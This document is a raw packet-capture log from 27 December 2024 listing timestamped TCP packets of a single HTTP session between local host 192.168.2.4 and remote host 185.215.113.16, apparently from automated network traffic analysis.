Dec 27, 2024 09:00:23.677836895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.677858114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.677927017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.678685904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.678705931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.678719044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.678781986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.678812027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.679620028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.679641008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.679677010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.679696083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.679701090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.679774046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.680586100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.680639029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.680649996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.680689096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.680737972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.680788040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.681456089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.681473970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.681485891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.681544065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.681591034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.681834936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.682382107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.682449102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.682461977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.682507992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.682540894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.683310032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.683367014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.683373928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.683378935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.683453083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.683453083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.684272051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.684288979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.684299946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.684336901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.684336901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.684405088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.685280085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.685328007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.685340881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.685372114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.685477018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.686144114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.686264038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.686274052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.686342001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.686342955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.686419964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.687036991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.687098980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.687110901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.687208891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.687210083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.688003063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.688081026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.688087940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.688098907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.688163042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.688174009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.688909054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.688968897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.688978910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.688981056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.689033031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.689109087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.689699888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.689845085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.689888000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.689899921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.689948082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.690025091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.690782070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.690835953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.690845013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.690860987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.690936089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.690937042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.691709995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.691730022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.691740990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.691778898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.691792965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.691862106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.691936016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.692629099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.692688942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.692701101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.692749023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.692780972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.693541050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.693566084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.693591118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.693608999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.693656921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.693732023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.694561958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.694596052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.694632053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.694653988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.694667101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.694674015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.695439100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.695511103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.695522070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.695595980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.695646048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.696413040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.696464062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.696470976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.696475983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.696556091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.696583033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.697316885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.697341919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.697352886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.697381973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.697401047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.697473049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.697833061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.698259115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.698307037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.698318005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.698362112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.698414087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.699147940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.699199915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.699209929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.699228048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.699253082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.699286938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.700083017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.700130939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.700143099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.700151920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.700205088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.700222969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.701005936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.701073885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.701083899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.701096058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.701143980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.701164961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.701946974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.701988935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.702002048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.702008009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.702044964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.702075005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.702914000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.702934027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.702945948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.702990055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.703047037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.703803062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.703851938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.703864098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.703891039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.703927994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.703959942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.704760075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.704802990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.704814911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.704863071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.704879045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.704931021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.705604076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.705667019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.705729008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.705744028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.705779076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.705817938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.706613064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.706664085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.706669092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.706676960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.706720114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.706742048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.707573891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.707623005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.707623959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.707634926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.707710981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.707729101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.708472013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.708515882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.708518982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.708534002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.708605051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.708614111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.709399939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.709453106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.709465027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.709474087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.709512949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.709546089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.710330009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.710370064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.710392952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.710406065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.710474968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.710474968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.711273909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.711327076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.711332083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.711340904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.711407900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.711445093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.712210894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.712251902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.712263107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.712263107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.712346077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.712348938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.713205099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.713222980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.713234901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.713254929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.713321924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.713321924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.713375092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.714052916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.714104891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.714118958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.714201927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.714210033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.715013981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.715075970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.715080023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.715087891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.715112925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.715145111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.715997934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.716008902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.716020107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.716059923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.716073036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.716906071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.716954947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.716959953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.716972113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.717036009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.717065096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.717819929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.717883110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.717911959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.717922926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.718014956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.718034983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.718960047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.718971968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.718983889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.719018936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.719103098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.719801903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.719851017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.719862938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.719880104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.719893932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.719909906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.720590115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.720643997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.720645905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.720654964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.720725060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.720736980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.721520901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.721595049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.721663952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.721674919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.721759081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.721823931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.722510099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.722543001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.722553968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.722610950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.722630024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.722693920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.723512888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.723556995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.723567963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.723612070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.723614931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.723664045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.724320889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.724451065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.724503994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.724517107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.724524975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.724596977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.725246906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.725306988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.725317955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.725349903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.725408077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.725539923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.726192951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.726263046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.726274967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.726305962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.726330042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.729347944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.736232042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.736284018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.736295938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.736350060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.736382961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.736433029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.748302937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.748321056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.748332024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.748400927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.748511076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.748574018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.748640060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.748651028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.748734951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.748756886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.748778105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.749385118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.749430895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.749444962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.749494076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.749527931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.749577045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.750153065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.750206947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.750219107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.750261068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.750293970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.750345945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.751036882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.751049042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.751060963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.751095057 CET	49743	80	192.168.2.4	185.215.113.16
